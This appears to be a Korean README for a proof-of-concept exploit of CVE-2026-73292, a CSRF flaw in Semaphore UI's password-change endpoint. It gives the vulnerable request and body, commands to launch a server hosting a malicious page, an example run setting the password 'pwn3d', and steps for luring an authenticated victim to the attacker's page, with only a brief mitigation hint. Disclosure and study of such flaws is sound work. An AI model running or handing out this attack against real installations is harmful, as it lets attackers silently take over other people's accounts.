
CVE-2026-73292에 대한 개념 증명 익스플로잇: Semaphore UI 비밀번호 변경 엔드포인트를 대상으로 하는 CSRF 공격으로, 인증된 사용자의 비밀번호를 사용자 모르게 재설정하는 악성 페이지를 제공합니다.
교육 및 책임 있는 공개 목적으로만 사용하세요.
이 취약점은 GHSA-8cj9-r88m-8945에 보고되었으며 semaphoreui 2.18.21 미만 버전에 영향을 미칩니다.
Semaphore UI의 비밀번호 변경 엔드포인트에는 CSRF 보호가 구현되어 있지 않습니다:
SameSite 적용 없이 세션 쿠키(semaphore)에만 의존합니다악성 페이지는 방문한 인증된 사용자의 비밀번호를 사용자 모르게 변경할 수 있습니다.
영향을 받는 엔드포인트: POST /api/users/{id}/password
{"password": "newpassword", "project_id": 1}
python poc_server.py -u http://TARGET:3000 -i USER_ID [-n NEW_PASSWORD] [-p PORT]
python poc_server.py -u http://192.168.1.10:3000 -i 1 -n pwn3d -p 1337
그런 다음 (Semaphore에 인증된) 피해자를 http://ATTACKER:1337로 보내십시오. 피해자의 비밀번호는 페이지가 로드되는 즉시 변경됩니다.
python poc.py -u http://TARGET:3000 -i 1
http://ATTACKER:1337로 이동합니다/api/users/1/password에 대한 POST가 HTTP 204를 반환하는지 확인합니다SameSite=Strict를 설정하세요| 인수 | 설명 | 기본값 |
|---|
-u / --uri | Semaphore 인스턴스의 기본 URL | 필수 |
-i / --user_id | 대상 사용자의 ID | 필수 |
-n / --new_password | 설정할 비밀번호 | passwordchanged |
-p / --port | 악성 페이지를 제공할 포트 | 1337 |